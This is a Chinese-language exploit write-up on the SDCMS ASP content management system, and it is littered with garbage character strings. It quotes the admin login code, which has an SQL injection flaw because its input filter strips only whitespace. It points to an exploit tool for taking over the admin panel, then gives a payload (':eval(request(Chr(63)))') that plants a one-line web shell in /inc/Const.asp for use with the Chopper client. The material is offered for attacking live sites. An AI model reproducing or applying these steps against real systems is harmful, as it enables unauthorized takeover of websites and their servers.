作者:T00LS 鬼哥' R3 T) L# }5 F' |2 h2 V. c
漏洞文件:后台目录/index.asp
/ u0 X! e1 C5 ^1 {% a
1 q# K% B3 R" q+ J7 u- ISub Check
4 w4 a1 r7 D/ t& q Dim username,password,code,getcode,Rs
1 N7 {9 s: v" j% {$ Q IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub# U/ H9 _0 r$ x
username=FilterText(Trim(Request.Form("username")),1): C, H: n( n& f( R$ N
password=FilterText(Trim(Request.Form("password")),1)+ a; V( Q% ~) u) X, ^7 I
code=Trim(Request.Form("yzm"))( ?8 R& @' m) _+ l. g
getcode=Session("SDCMSCode")
}% ]) H! Z7 K( e/ A. S: N IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died) T4 T8 ?6 i# H8 l3 C/ I) Q2 ~( u
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied) D) s. }+ P* H3 I! I* d4 z# H _
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
% y9 R; x' R* [& o2 i8 M IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied: F7 @5 m7 O9 j% D/ o" `: K/ Z
IF username="" or password="" Then3 G8 V- G9 ?) i' ~, ]( [
Echo "用户名或密码不能为空" ied% T, H8 n9 o9 X( B7 Z5 d$ v
Else9 N5 ]/ h' _* a2 M9 q; `
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")! p' ~0 F% L/ W
IF Rs.Eof Then' C) R+ a! g, E+ D) W( s5 S2 b
AddLog username,GetIp,"登录失败",1
& [) O# l) T' C/ i( T/ z2 ~* G5 | Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"/ F9 l& x, S" S$ V% o4 }$ t* Y. V7 v
Else
3 Q0 i8 G# |1 z. V- \ Add_Cookies "sdcms_id",Rs(0)
( d8 c4 U `2 `8 G Add_Cookies "sdcms_name",username2 X* o0 @7 ~& x
Add_Cookies "sdcms_pwd",Rs(2)8 I H3 L' h2 B
Add_Cookies "sdcms_admin",Rs(3) \+ n' h( c! r( b2 t
Add_Cookies "sdcms_alllever",Rs(4)
3 K5 N1 R$ x- c" c ]7 W8 Z2 v2 \ Add_Cookies "sdcms_infolever",Rs(5)
; X q5 O7 H' C. b8 F Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")1 T$ Q! f0 c" j8 b- ~
AddLog username,GetIp,"登录成功",1, @% n5 [+ l% K4 Y: m! m
'自动删除30天前的Log记录
) U* k9 l4 {. i IF Sdcms_DataType Then
) u& r% A; x4 M: ^. Q: y* G; W" E Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
- E, V: i" f; L6 `3 z Else, {% i8 @% f/ A7 z# q
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
; n8 p- ], l4 ^ End IF
5 F# t5 }4 d, B) Z6 H9 K" R Go("sdcms_index.asp") k! q2 t/ p+ ]6 S0 V4 H8 ~# s: v
End IF+ x2 ?$ z. t# W
Rs.Close
$ K( O, c1 k3 ~( y S. e Set Rs=Nothing: M- M2 [) ~- a4 j
End IF
& `" {; z5 q1 ]0 ^* K j. N- h; KEnd Sub
# Q7 J! Z' J! p9 c& s& `
1 F* n b# C" B2 v- R7 ]’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
. }: i& w; z* R `* O' l" m7 i, M3 I f# a" X
Function FilterText(ByVal t0,ByVal t1)+ D, J+ J" O$ c7 @3 @
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
+ f k( }5 N7 c |9 L t0=Trim(t0)
5 Q# V- f& `' K4 _9 }3 k Select Case t12 Q/ {; c% Z" h0 ^
Case "1"6 f; v" B8 y2 J% |) O# n
t0=Replace(t0,Chr(32),""); _5 o" W2 x" ^
t0=Replace(t0,Chr(13),"")2 L9 |# R$ u. y( j
t0=Replace(t0,Chr(10)&Chr(10),"")- Q6 d/ v: G- K$ }. d
t0=Replace(t0,Chr(10),"")
7 b! T! U) m3 n/ X" }2 C2 V Case "2"
4 R$ I7 |* T6 E8 W$ D t0=Replace(t0,Chr(8),"")'回格
9 x/ b# n; N: t8 z8 x6 r/ ^6 X t0=Replace(t0,Chr(9),"")'tab(水平制表符)
+ w: l e' W5 r% {8 T4 W t0=Replace(t0,Chr(10),"")'换行; s; o4 L o$ L9 y' E
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
# E1 L" T, x* K t0=Replace(t0,Chr(12),"")'换页! W- R& `& C. {
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合. u' q5 I0 ?& |
t0=Replace(t0,Chr(22),"")8 e8 H( L1 W5 a% i7 B& Y
t0=Replace(t0,Chr(32),"")'空格 SPACE
8 p' K' o# x& W5 Q6 f6 Z t0=Replace(t0,Chr(33),"")'!
3 j3 q5 ?$ A) c% r. Q; [ t0=Replace(t0,Chr(34),"")'"+ ^; Y7 o3 _* v4 b
t0=Replace(t0,Chr(35),"")'## z* Y% s' g6 f C0 W: ?
t0=Replace(t0,Chr(36),"")'$$ p1 J6 L ` r' A7 }" x- {
t0=Replace(t0,Chr(37),"")'%
- j) A- D. v( ]4 g t0=Replace(t0,Chr(38),"")'&
0 d6 @, }; W* [0 f% \/ @: U t0=Replace(t0,Chr(39),"")''
4 e7 Z% x) ^5 B5 ] t0=Replace(t0,Chr(40),"")'(
* e, o2 {0 B6 \) M/ W& Y ~ t0=Replace(t0,Chr(41),"")')
0 E& y# i8 _ x t0=Replace(t0,Chr(42),"")'*
7 P; u' @# A) H0 _) V& V2 ~ t0=Replace(t0,Chr(43),"")'+& w% T' N* |) f+ O0 w
t0=Replace(t0,Chr(44),"")',1 {5 F0 D& U# g$ A
t0=Replace(t0,Chr(45),"")'-
' n/ j$ [7 S# T7 I' g' J t0=Replace(t0,Chr(46),"")'.9 F6 q0 h2 c6 `( O0 B
t0=Replace(t0,Chr(47),"")'/5 i* G8 Q' i: a* W+ c) F1 c6 }6 e
t0=Replace(t0,Chr(58),"")':, b0 x( N: h8 B8 K* w, y' t1 J, r
t0=Replace(t0,Chr(59),"")';1 P. W& S1 j- c2 ~
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>$ i* Q- T n2 M! G: {/ W9 w
t0=Replace(t0,Chr(63),"")'?9 s, I( c3 W( a8 g* _9 `- x
t0=Replace(t0,Chr(64),"")'@9 e* P1 |5 v) E. w2 r* r
t0=Replace(t0,Chr(91),"")'\
0 T9 \4 ^% @: S; t: T8 D5 f t0=Replace(t0,Chr(92),"")'\
/ y! J5 R$ c: ~# ~ t0=Replace(t0,Chr(93),"")']
7 Z7 F2 P, {: A5 h4 ? t0=Replace(t0,Chr(94),"")'^
% X9 M" L4 J; s t0=Replace(t0,Chr(95),"")'_7 P/ R r0 b7 E4 x$ g7 i
t0=Replace(t0,Chr(96),"")'`. p. M+ f" N8 F& z+ v- G! U
t0=Replace(t0,Chr(123),"")'{% f8 T# p& O: `/ d
t0=Replace(t0,Chr(124),"")'|
8 O' B* V2 k0 }$ ] t0=Replace(t0,Chr(125),"")'}8 R/ s) @& W( h1 g& |$ b
t0=Replace(t0,Chr(126),"")'~( Z7 R" Y3 t/ n2 E+ w Q Z
Case Else1 M4 p' v6 D" c; G" X- [* o
t0=Replace(t0, "&", "&")
, a4 w6 G( ~% \" r! Q$ l( m t0=Replace(t0, "'", "'")" F9 K0 U* { k: y5 i0 X0 n
t0=Replace(t0, """", """)
% U, x% Y* L. `$ D! ] t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")" L2 E+ v" ?8 K7 D3 P# M2 f5 B
End Select1 b. ~2 G* W" b& C0 p: l
IF Instr(Lcase(t0),"expression")>0 Then
' G0 Y- e- f: d. v8 \, S t0=Replace(t0,"expression","e­xpression", 1, -1, 0), D/ c) D+ P# D2 R
End If
: e3 s) S; w/ ^. g FilterText=t0
, [* K+ P2 J/ a8 M! pEnd Function
* T t5 O0 c) ~$ \& k' n
- }% d8 k1 r& S O, D, x看到没。直接参数是1 只过滤
$ I5 z6 z. x7 U# t$ d. V; Q4 q3 z t0=Replace(t0,Chr(32)," "); p0 V7 F- G& g
t0=Replace(t0,Chr(13),"")" d+ p/ | f/ ` U6 x! Q
t0=Replace(t0,Chr(10)&Chr(10),". R3 l7 ?9 B0 n( z2 p: ?' k& g
")
- M" | d. ?! H! x7 y; q' S! q t0=Replace(t0,Chr(10),"
& e6 X# ~' _: ^")2 ?: L+ h' W$ ?
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
" A$ a0 g$ W5 T! W# T- }" REXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
% v* U" Y/ g/ B+ M d3 {; e- f/ e' |& F7 w0 q1 h; \6 Z- _% F* u% H6 Y( A
测试:% R) i1 b* u. W1 U* o+ o8 @
7 W: P9 {! @, Y& ^
5 L- Y ^9 T2 {% F现在输入工具上验证码,然后点OK, b/ X7 s( [7 {3 |2 r0 b
- d5 A. V; L) `( j% o) c6 }
9 y5 o/ b ~& R. g7 _看到我们直接进入后台管理界面了,呵呵!4 f" b9 r+ Y) q7 T+ A
6 g$ l. P" _) g) o; K% H) l- c! o K/ V: r( P1 J& V' U
% m; Y8 w9 m( e7 ~( D7 n) a
这样直接进入后台了。。。。
) Y8 j+ Y' w( @- i+ p
4 w9 z' C% s! M0 l# _" o. J E; { - R& l4 X- K3 X$ i) o$ S
- x/ g# Z* d8 G6 f" J
SDCMS提权:- z. h) q% d3 m; a% l
; t- i- E, i0 t& O8 W4 p
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
# P. ?; W' y' Y" _" t/ q8 b7 C6 P9 w' g& I$ {& M0 A
, k' N' V# x0 J
, C0 ?/ F3 q, V: DOK,现在用菜刀连接下!% @/ |2 X- l* }& o/ [/ T
8 l9 J1 p; G8 ^4 W% B& {4 V5 N
$ `+ U* k, G. ^) B
( R+ c% l8 p: `4 g ; N3 d% D9 e" K2 i' I: W! s2 M
( R$ }* p/ L4 a# M# B O
|